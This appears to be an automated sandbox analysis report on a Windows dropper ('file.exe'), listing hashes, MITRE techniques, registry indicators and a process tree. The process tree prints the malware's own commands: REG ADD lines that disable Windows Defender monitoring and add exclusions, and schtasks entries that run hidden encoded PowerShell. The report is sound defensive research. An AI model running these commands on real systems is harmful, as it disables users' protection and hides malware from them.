eecec3fe3c1ad913f535fd2d101b441faffc90973a7951e2673324041f439da4

Analysis

max time kernel
142s
max time network
149s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
30/10/2022, 07:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

85958167182b4b3c8371e07bf013c106
SHA1

43a324cb996b484b07cbb912b05bd40c1a269b86
SHA256

eecec3fe3c1ad913f535fd2d101b441faffc90973a7951e2673324041f439da4
SHA512

76cff807de7a6425812e7da38cb4f8f232b68746b6fd087ce6fb09e7259169d659e17e4968d440d767002763b739d0bc186ee67613cf23089650feffa9bea9bf
SSDEEP

196608:91O01nQ0bnj+fYrCohkD3T6o4BUpWet7KZ9IWU:3Os9n8hf6rBPetapU

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PJXqPLeKMmGmmJnl = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PJXqPLeKMmGmmJnl = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DGyuesllMrTyYUlUupR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GUqtXLpkCnEU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XjmuJHxLjXQtC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bHfaALlsU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\hKdaKKmxcqpbfbjVy = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PJXqPLeKMmGmmJnl = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GUqtXLpkCnEU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XjmuJHxLjXQtC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\pjzNRCemcPOgEmVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DGyuesllMrTyYUlUupR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RjxgDONkleUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RjxgDONkleUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bHfaALlsU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\pjzNRCemcPOgEmVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\hKdaKKmxcqpbfbjVy = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PJXqPLeKMmGmmJnl = "0"	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
1384	Install.exe
628	Install.exe
800	kyQNCcc.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1248	file.exe
1384	Install.exe
1384	Install.exe
1384	Install.exe
1384	Install.exe
628	Install.exe
628	Install.exe
628	Install.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kyQNCcc.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	kyQNCcc.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	kyQNCcc.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\btUIxhnquogiJgiDhn.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
992	schtasks.exe
912	schtasks.exe
1012	schtasks.exe
1496	schtasks.exe
1752	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1200	powershell.EXE
1200	powershell.EXE
1200	powershell.EXE
1544	powershell.EXE
1544	powershell.EXE
1544	powershell.EXE
1672	powershell.EXE
1672	powershell.EXE
1672	powershell.EXE
1216	powershell.EXE
1216	powershell.EXE
1216	powershell.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.EXE
Token: SeDebugPrivilege	1544	powershell.EXE
Token: SeDebugPrivilege	1672	powershell.EXE
Token: SeDebugPrivilege	1216	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1248 wrote to memory of 1384	1248	file.exe	26
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 1384 wrote to memory of 628	1384	Install.exe	27
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 452	628	Install.exe	29
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 628 wrote to memory of 1160	628	Install.exe	31
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 452 wrote to memory of 1520	452	forfiles.exe	33
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1160 wrote to memory of 1872	1160	forfiles.exe	34
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1872 wrote to memory of 1012	1872	cmd.exe	35
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 760	1520	cmd.exe	36
PID 1520 wrote to memory of 1576	1520	cmd.exe	37
PID 1520 wrote to memory of 1576	1520	cmd.exe	37
PID 1520 wrote to memory of 1576	1520	cmd.exe	37
PID 1872 wrote to memory of 1080	1872	cmd.exe	38
PID 1872 wrote to memory of 1080	1872	cmd.exe	38
PID 1872 wrote to memory of 1080	1872	cmd.exe	38
PID 1520 wrote to memory of 1576	1520	cmd.exe	37
PID 1520 wrote to memory of 1576	1520	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Users\Admin\AppData\Local\Temp\7zS5E18.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Users\Admin\AppData\Local\Temp\7zS6C89.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:628
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:452
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1520
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:760
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1576
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1872
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1012
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1080
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gCruHhvjx" /SC once /ST 04:59:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:992
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gCruHhvjx"
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gCruHhvjx"
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "btUIxhnquogiJgiDhn" /SC once /ST 08:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\hKdaKKmxcqpbfbjVy\zFuvCIvdFPfOMYj\kyQNCcc.exe\" hC /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:912

C:\Windows\system32\taskeng.exe
taskeng.exe {140586B7-9E02-436B-B39B-07050E09A6D2} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1216
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1564

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1260

C:\Windows\system32\taskeng.exe
taskeng.exe {10755D13-5A45-40FA-BE5F-0549598F5332} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1116
- C:\Users\Admin\AppData\Local\Temp\hKdaKKmxcqpbfbjVy\zFuvCIvdFPfOMYj\kyQNCcc.exe
  C:\Users\Admin\AppData\Local\Temp\hKdaKKmxcqpbfbjVy\zFuvCIvdFPfOMYj\kyQNCcc.exe hC /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gCrjbapTf" /SC once /ST 02:06:08 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gCrjbapTf"
    3⤵
    PID:108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gCrjbapTf"
    3⤵
    PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1976
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gCWubUQmV" /SC once /ST 00:22:35 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gCWubUQmV"
    3⤵
    PID:1636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gCWubUQmV"
    3⤵
    PID:868
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1624
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1416
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1324
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:972
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1656
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1908
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\PJXqPLeKMmGmmJnl" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\PJXqPLeKMmGmmJnl\RtULkbOx\DAHtlBpJfVPXVOlN.wsf"
    3⤵
    PID:1132
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\PJXqPLeKMmGmmJnl\RtULkbOx\DAHtlBpJfVPXVOlN.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1732
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGyuesllMrTyYUlUupR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1332
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DGyuesllMrTyYUlUupR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1328
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GUqtXLpkCnEU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GUqtXLpkCnEU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1560
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RjxgDONkleUn" /t REG_DWORD /d 0 /reg:32
      4⤵
